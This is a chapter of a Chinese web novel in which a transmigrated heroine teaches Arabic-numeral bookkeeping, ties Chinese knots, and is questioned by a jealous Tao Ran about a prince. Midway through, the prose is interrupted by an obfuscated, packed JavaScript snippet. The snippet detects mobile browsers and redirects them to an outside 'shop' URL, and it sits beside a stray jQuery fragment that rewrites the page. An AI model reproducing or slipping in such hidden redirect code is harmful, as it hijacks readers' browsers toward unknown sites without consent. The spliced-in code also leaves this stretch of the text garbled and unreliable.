说到外祖母,南晓荷眼中闪过一丝悲凉,林家自从被升平帝惩罚后,舅父林榭、舅母张氏和林雨儿不知所踪。
外祖母住在河县一处偏僻的庄子上养老。
南晓荷多次去请外祖母来京城都吃了闭门羹,她觉得外祖母一定是在怪她,所以才不愿意见她,毕竟如果不是因为她那街头哭诉,林榭也就不会被罢官,林家更不会被抄家。
可这也怪不了南晓荷,毕竟原主被他们逼死了,杀人偿命天经地义,眼下南晓荷也没有取林榭一家性命,他们只是被打了板子贬为庶民而已,他们还在这个世上活的好好的,可以说南晓荷对他们已经仁至义尽了。
此后,他们只要安分点,不再来叨扰南晓荷,那么南晓荷便也不会对他们怎么样。
......
古代平常记账都是写的汉字,汉字繁琐,没有数字方便,这个时期阿拉伯数字还没有传过来,南晓荷便教了香铺里的账目先生阿拉伯数字和表格,这样他们做起账目方便多了。
南晓荷自然也教会了冷静晗。
南晓荷拿起一目了然的账目表格,连连点头:“不错,不错,这个表格画得甚好。”
冷静晗久居后宅,不太懂经营之道,21世纪的南晓荷,虽然不太过问公司的事情,但是生意场上的事情她还是有所了解的。
她一直跟冷静晗强调,平时柜台上随手记账用数字也好,小写也罢,但是在报账、写银票、立契约时一定要全部大写,正所谓:“小写好记账,大写防改账。”
铺子里的伙计虽然都是雇佣多年的老伙计,但是毕竟害人之心不可有,防人之心不可无,所以,南晓荷告诉冷静晗平常可以完全不管店铺的经营,但是账目上的事情,一定要亲自过目,定期查看。
生意场上有句话叫做,“东家不问买卖,只问账目;不看经营,只看银钱。”
冷静晗听了南晓荷一席话,连连点头,表示受益匪浅。
......
晚风将在樊月楼发生的事情添油加醋的回报给了陶然,陶然听了有一些怒气,可转瞬便消失了,以他对南晓荷的了解,她这样做必定是有什么目的,只是他一时想不到她这么做的原因。
陶然回想起与南晓荷从相识到如今发生的种种,他可以确定的是南晓荷并非完全对他无意,她的心中多少还是有一些他的位置的,所以,他只淡淡的嘱咐了晚风几句,让他去安排几个人,好好监视着六皇子府的一举一动,再找几个机灵的暗中保护南晓荷。
晚风领命离开,以极快的速度来到京城的天香楼,找到已经调来京城的铃香。
铃香一如既往,打扮的香气逼人,此时的她正坐在桌子边,翘着兰花指,举杯饮茶。
见到晚风,她立刻严肃的问道:“主子命你前来,有何吩咐?”
晚风将陶然的话原封不动的转告给铃香,铃香微微点头,淡淡道:“知道了。”
晚风事情交代完立马离开,施展他那了得的轻功,以极快的速度,飞檐走壁,很快来到清雅居,此时的南晓荷和冷静晗在查看清雅居的账目情况,他不便打扰,便前去寻找隐藏在暗处的骄阳,与他嬉笑打闹。
此时的骄阳坐上屋顶上吹着冷风,发着呆。
晚风猛的锤了他一拳,问道:“在想什么呢?”
骄阳欲言又止。
“你支支吾吾干什么?有话直说,有屁快放。”
“是燕儿,我发现她...她...”
“你发现了什么?”
“前日,我看到她与一个男子私会,还拉拉扯扯的。”骄阳忽然眸中闪过一丝悲凉,接着道:“她是不是不喜欢我了?”
“你是不是看错了?燕儿姑娘不是那种人。”
骄阳难过的低下头:“我真希望自己看错了,可我看的清清楚楚,不会有错。”
晚风拍了拍骄阳的肩膀,安慰道:“你别在这自己瞎猜了,你现在就去找她问个清楚吧!”
骄阳犹豫:“可,可,姑娘这...”
“姑娘这有我在,你就放心吧!”
“主子让我们看好姑娘,可不能再让姑娘逃跑了。”
晚风又拍了拍骄阳的肩膀,道:“兄弟,相信我,姑娘短期内是不会再逃跑了。”
“真的?”
晚风点点头:“嗯,虽然我不能完全猜透姑娘的心思,但是跟在姑娘身边那么久,多少我还是能了解一些的,你放心去吧!”
骄阳见晚风说的诚恳,一脸认真的样子,放心的离开。
骄阳飞檐走壁很快回到镇北侯府,鼓气勇气询问了那日之事,燕儿扯谎说是对方认错人了。
燕儿这么说,耿直的骄阳便信了,他甚至开始反省自己,觉得自己居然怀疑她,怀疑她对自己的感情,心中还升起了一股子愧疚感。
南晓荷与冷静晗一同查看了清雅居的账本,直到黄昏时刻才返回镇北侯府。
......
回到侯府,用完晚膳,冷静晗回到房中,工作狂的她又开始研制、发明新的香料品种。
南晓荷回到房中,命人搬来一块两米左右的木板放置在房中,燕儿惊讶的看着木板,不解道:“姑娘,咱这是要做什么呀?”
她捏了捏燕儿那肉肉的脸颊,道:“我要做一个超级大的中国结。”
“中国结?什么是中国结?”燕儿疑惑道。
“嗯...就是同心结的一种啦!来,燕儿,你帮我。”
南晓荷取来一些钉子,将钉子整齐规整的排列起来,在燕儿的帮助下将钉子牢牢钉在木板上。
接着便是用红线绕出几行横线,然后挑第一、三、五横线穿插编织。
因其编织的同心结比较大,她与燕儿两只小身影,来回穿梭,一起忙忙碌碌整了接近一个时辰才完工。
此时的南晓荷很是疲劳,她躺在床榻上,四仰八叉,闭目休息,时不时的睁眼看看自己的杰作,一脸的得意。
燕儿看着眼前巨大的中国结,感慨道:“真好看。”
南晓荷道:“燕儿,谢谢你的帮忙,时间不早了,你快快回去休息吧!”
燕儿点点头:“嗯,姑娘不要客气,那我走啦!”
“嗯。”
燕儿前脚刚走出房门,一道快如闪电的身影,便进入了南晓荷的房间,“知知,这个是你做的?”
听到熟悉的声音,南晓荷立马睁开眼,笑嘻嘻回答:“对啊,好不好看?”
陶然点点头,“好看,不知知知可以也给我做一个吗?”
“可以啊!”南晓荷坐起身,来到桌案前,“我给你编一个巴掌大的吧!”
陶然点点头,坐到南晓荷身旁:“嗯,好。”
南晓荷手法娴熟,只稍片刻功夫,便编好了一只小而精致的中国结,“那,给你。”
陶然接过中国结,“谢谢知知!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354493|195494||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你跟我还客气?”南晓荷又从柜子里拿出一只小匣子给到陶然。
陶然惊喜:“给我的?”
“嗯,你打开看看。”
陶然好奇的打开匣子,匣子里面是一只红绳编织的手链,手链上面串了一大两小三颗珠子,那珠子成色上乘,一看就价值斐然,那珠子是南晓荷从升平帝赏赐她的那一箱箱金银首饰中挑的。
“这个是知知亲手做的?”
南晓荷点点头,“那是当然,上次你生辰,你不是嫌我送你的荷包不是我亲手绣的吗?这个手链是我亲手做的,算是补给你的生辰礼物,怎么样,你可还欢喜?”
“欢喜。”陶然冷不丁撒起娇来,“知知,上次你送我的香囊我哪有嫌弃啊?不嫌弃,我很喜欢。”
南晓荷瞬间起了一身的鸡皮疙瘩,“陶然,你别这样,咱正常点,正常点,好不好?”
陶然歪嘴笑了笑,将手链往手腕处绑。
“我来帮你。”
“好。”
南晓荷帮他带上手链,教导道:“我打的是活结,方便你随时取下,你看,这样一扯就可以取下来了。”
陶然忽然哑着嗓子道:“不,我不会取下来的,永远也不会,除非我死。”
南晓荷连忙捂住他的唇瓣,“呸呸呸,什么死不死的,你不要说这些不吉利的话好不好?”
陶然邪魅一笑,顺势亲了亲她的玉手。
南晓荷嫌弃的抽开手,“咦...都是口水。”在他肩头擦了擦。
陶然突然笑出声来,那笑声爽朗、清澈,不带一丝杂质,那笑容像春天的清风,温暖、迷人。
南晓荷感慨:古代男子不抽烟就是好啊,看看这嗓子多干净。
她想到上次就是被他的微笑给弄的小鹿乱撞,暗暗埋怨:这家伙又在迷惑我,哼。
上一秒陶然微笑,暖声细语,下一秒周身突然充满冷冽气息,一步一步逼近南晓荷,沉声道:“你接近六皇子是想做什么?”
南晓荷心中一震,支支吾吾:“我...我...”
“你什么?”
“陶然,你怎么说变脸就变脸啊?”
“你别扯开话题,告诉我,你接近六皇子是想做什么?”
南晓荷总不能告诉他,接近六皇子是为了刺激他吧?
她只能狡辩,“我没有,没有。”
“那么多人看着呢?知知,你学坏了,你居然想糊弄我?”
“陶然,你这是吃醋啦?”
陶然心想:吃醋?这丫头,莫不是故意与六皇子亲密,为的就是让我吃醋?
他猜想是小麻雀让南晓荷这么做的,嘴角微勾,“我就是吃醋了,你预备怎么样?”
南晓荷听了心情愉悦,差点笑出声来。
她沉思:该死的好感度卡在93%都好几个月了,那么长时间竟一点都不增长,不知道是不是系统又出了BUG。
现在陶然吃醋了,好感度应该增长了吧?
“知知,我问你话呢?你在发什么呆?”陶然不满的敲了敲南晓荷的头。
“啊!痛。”
南晓荷揉了揉脑袋,埋怨道:“陶然你别敲我的头,我脑子本就不够用,你打傻了怎么办?”
陶然小声嘀咕:“你若是傻子就好了,这样你就不会想着逃跑,就可以乖乖待在我身边了。”
“什么?”
“没什么。”